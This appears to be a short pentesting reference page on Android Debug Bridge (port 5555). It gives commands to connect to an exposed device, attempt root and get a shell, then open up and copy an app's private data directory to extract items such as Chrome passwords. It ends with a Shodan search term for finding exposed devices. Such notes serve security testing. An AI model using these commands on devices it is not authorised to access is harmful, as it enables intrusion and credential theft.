5555 - Android Debug Bridge

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Basic Information

From the docs:

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device.

Default port: 5555.

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Connect

If find the ADB service running in a port of a device and you can connect to it, you can get a shell inside the system:

adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell

For more ADB commands check the following page:

ADB Commands

Dump App data

In order to completely download the data of an application you can:

# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"

You can use this trick to retrieve sensitive information like chrome passwords. For more info about this check the information a references provided here.

Shodan

android debug bridge